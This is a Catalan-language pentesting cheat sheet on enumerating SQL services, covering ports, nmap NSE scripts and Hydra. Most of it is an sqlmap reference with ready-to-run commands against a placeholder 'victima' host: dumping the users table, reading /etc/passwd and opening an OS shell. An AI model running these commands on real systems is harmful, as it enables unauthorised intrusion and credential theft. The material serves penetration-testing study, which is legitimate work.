Enumeració serveis SQL
Enumeració serveis SQL
#
Objectius
#
- Identificar servei, versió i SO.
- Descobrir mètodes d'autenticació.
- Enumerar comptes, rols i permisos.
- Llistar bases de dades, esquemes, taules i funcions.
- Detectar extensions/funcions perilloses (lectura/escriptura de fitxers, execució).
- Cercar vectors de moviment lateral (linked servers, dblink, FDW, OUTFILE…).
Ports
#
| SGBD |
Port TCP/UDP comú |
| MySQL / MariaDB |
3306/tcp |
| Microsoft SQL Server (MSSQL) |
1433/tcp |
| PostgreSQL |
5432/tcp |
| Oracle (TNS) |
1521/tcp |
Scrips NSE de nmap
#
| Serveis |
scrip NSE 1 |
| MySQL |
--script=mysql-info,mysql-users,mysql-variables,mysql-databases -p3306 |
| MSSQL |
--script=ms-sql-info,ms-sql-ntlm-info,ms-sql-config,ms-sql-interfaces -p1433 |
| PostgreSQL |
--script=pgsql-info -p5432 |
| Oracle |
--script=oracle-tns-version,oracle-sid-brute -p1521 |
Atacs
#
- Pots provar l'autenticació amb Hydra
SQLMAP
#
- Per a formularis web vulnerables a SQL injection
- Parametres
| Param |
valor |
| -u |
URL URL objectiu (obligatori si no es llegeix d'exemple). |
| --data |
Dades POST (ex: --data="user=admin&pass=1"). |
| -p PARAM |
Paràmetre a provar (id, user, search...). |
| -r FILE |
Fitxer amb request HTTP (curl/httpie dump). |
| --cookie |
Cookies a enviar (PHPSESSID=...). |
| --headers |
Encabezats HTTP addicionals. |
| -D DB |
Seleccionar base de dades objectiu. |
| -T TABLE |
Seleccionar taula per enumerar. |
| -C COLS |
Columnes a obtenir. |
| --tables |
Llistar taules disponibles. |
| --columns |
Llistar columnes d'una taula. |
| --dump |
Volcar dades (taula/columnes). |
| --dbs |
Llistar bases de dades. |
| --os-shell |
Intentar obrir shell OS (si possible). |
| --file-read |
Llegir fitxer del servidor (ex: /etc/passwd). |
| --file-write |
Escriure fitxer remot (ruta local -> remota). |
| --os-pwn |
Exploits post-explotació (meterpreter, webshell). |
| --risk / --level |
Ajustar risk (1–3) i level (1–5) per proves més agressives. |
| --technique |
Forçar tècniques (B: boolean, E: error, U: UNION, T: Time, S: Stacked). |
| --threads |
Threads per a velocitat (multi-hilos). |
| --timeout |
Timeout peticions. |
| --tamper |
Scripts per modificar payloads (evasió). |
| --proxy |
Usar proxy (ex: http://127.0.0.1:8080). |
| --tor |
Forçar ús de Tor. |
| --batch |
Mode no interactiu (usar valors per defecte). |
| --flush-session |
Netejar sessions guardades. |
| --answers |
Respostes predefinides per prompts complexos. |
sqlmap -u "http://victima/search.php?q=abc" --batch --random-agent
sqlmap -u "http://victima/login.php" --data="user=admin&pass=123" -p pass --batch
Enumerar bases de dades, taules i volcar una taula
#
sqlmap -u "http://victima/item.php?id=1" --dbs
sqlmap -u "http://victima/item.php?id=1" -D targetdb --tables
sqlmap -u "http://victima/item.php?id=1" -D targetdb -T users --columns
sqlmap -u "http://victima/item.php?id=1" -D targetdb -T users --dump
Obtenir una shell
#
sqlmap -u "http://victima/?id=1" --os-shell
Per passar les peticions al Burp usant el proxy
#
--proxy="http://127.0.0.1:8080"